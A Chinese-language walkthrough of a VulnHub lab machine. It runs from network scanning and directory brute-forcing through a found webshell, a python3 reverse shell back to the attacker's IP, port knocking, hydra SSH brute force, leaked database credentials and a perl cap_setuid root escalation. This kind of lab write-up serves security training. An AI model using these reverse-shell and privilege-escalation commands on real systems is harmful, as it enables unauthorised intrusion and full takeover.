靶机下载地址: https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/
 教程链接地址: https://blog.csdn.net/qq_45434762/article/details/118663551
# 确认攻击目标
攻击机 KALI: 192.168.31.135
 靶机 PROXIMACENTAURI:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址
 sudo arp-scan -l
 
-> 靶机 ip:192.168.31.5
2 )确认靶机 ip 开放的端口信息
 sudo nmap -A -p- 192.168.31.5
 
-> 靶机开放端口 80
# 网站信息收集
打开 http://192.168.31.5 进行信息收集
 
目录扫描:  gobuster dir -x php,txt,html,zip,rar,bak,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.5
 
找到很多目录,暂时不知道哪个目录比较敏感,需要依次访问
查看目录: http://192.168.31.5/docs/
 
看到一个 php 后缀的文件,点开看看:http://192.168.31.5/docs/updata.php
 
 
查看目录:http://192.168.31.5/images/
 
查看目录:http://192.168.31.5/login.php
 
-> 得到一个后台的登陆地址,并且该 web 是有 pluck 4.7.13 写出来的
查看目录:http://192.168.31.5/files/
 
查看目录:http://192.168.31.5/admin.php
 
管理员的后台地址,会自动跳转到 login 界面
查看目录:http://192.168.31.5/robots.txt
 
查看目录:http://192.168.31.5/planet/
 
查看目录:http://192.168.31.5/files/planet/
 
查看目录:http://192.168.31.5/files/planet.html
 
查看目录:http://192.168.31.5/requirements.php
 
找不到更多的线索了,根据已有的进行总结,发现只有一个 pluck 4.7.13 的信息,和一个后台的登陆地址可以利用
# pluck 漏洞利用
用 searchsploit 搜索寻 pluck 对应版本漏洞,发现存在一个授权才能访问的 RCE 漏洞
 
确认 payload 的位置,将其复制到自己的目录下
 
 
阅读此 py 文件,根据脚本中的内容,带参数执行脚本
 
由于此漏洞只适应于 pluck 的授权 RCE,此处如果不能破解出来其账户和密码,显然无法使用,经尝试并不是弱口令,放弃这个目标,继续信息搜集
# dirb 扩大信息面
dirb 的优点在于搜集到一级目录后,还会继续尝试二级目录的识别
用 dirb 收集更多的字目录信息: dirb 192.168.31.5
 
依次去打开这些二级目录,发现了一个敏感的地址:http://192.168.31.5/data/trash/
 
继续向下深入,看三级目录:http://192.168.31.5/data/trash/files/shell.phar
最终在此路径下找到了一个 shell.phar 的文件,此命名就比较敏感
 
-> 访问此目录,是一个 webshell,现在拿到了网站权限
 
在网站上执行命令有诸多不便,需要将其反弹到终端上
检测到服务器没有 nc,有一个 python3 ,就用 python3 来反弹 shell
 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.75 ",444 4 ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
 
设置 stty 的格式,输出为一个比较美观的终端
 
# 端口敲门
敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器 IP 发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务 knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。
拿到服务器的权限之后,去看了一些敏感文件,敏感权限之后都没有任何问题,筛选端口的时候发现 knock 命令
 
查看 knock 的配置文件
 
找到了一个 root 账户的端口敲门的配置问题,依次去敲击 14,29,43 端口可以将防火墙规则调整为开放,依次去敲击 62,40,46 端口可以将防火墙规则调整为关闭,注意有一个两个端口之间的间隔时间不能大于 15 ms
依次按顺序敲击这三个端口 sudo nmap -p 14,29,43 192.168.31.5
 
敲击端口前,是 22 是被过滤的,端口敲门之后并没有立即将端口轰开,反而是等待了一段时间之后才将 22 端口打开,现在 22 已经打开,可以通过 ssh 去连接这台服务器了,但是我们并没有 root 账户的密码,怎么去连接呢。
先直接去做,看能不能有什么收获 ssh root@192.168.31.5
 
# hydra 爆破 ssh
看到了一个 github 地址,点开进入
 
发现是一系列密码并且提示用 proxima、centauri 进行爆破,将字典加载到本地,准备用 hydra 爆破一波
 
查看到服务器上存在的用户
 
服务器存在 proxima、centauri 用户,将这两个名字写到 user.txt 中,用 hydra 进行爆破
 
hydra -L user.txt -P passwd.txt ssh://192.168.31.5 -t 4 -I -vV -o hydra.ssh
 
很遗憾,爆破失败,继续往下做,在实际测试中,经常有爆破失败的情况,我们需要从更多的角度去收集服务器的信息,经过检查,发现服务器上存在 mysql 的备份文件
 
-> 备份文件中就有用户名和密码,alfauser:passw0rd
# 数据库信息泄露
登陆数据库,查询敏感账户和密码: mysql -u alfauser -p
 
连接成功,搜索敏感文件
 
一翻搜索后,在数据库中找到了 proxima 账户和其密码,切换账户至 proxima 账户,成功拿到其 shell
 
# cap_setuid 提权
接下来要想办法提权至 root,直接上监控 linpeas 看有什么可疑的文件
 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
 
运行 linpeas 进行检测
 
使用 linpeas 之后监测到一个权限设置错误的命令 perl
Capabilities 是 linux 的一种访问控制能力,能够更精细化的将操作系统权限(网络,文件等)赋权给应用程序,其中就包括设置 uid 和 gid 的权限。因此具备 cap_setuid 和 cap_setgid 权限的程序可以用来进行权限提升。
提权利用命令在 gtfobins 上可以找到更多:https://gtfobins.github.io/gtfobins/perl/
 
看官方介绍,也就是为了细分 root 权限的 capabilities,但是也会因为设置错误导致权限提升
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
 
-> 成功拿到 root 权限
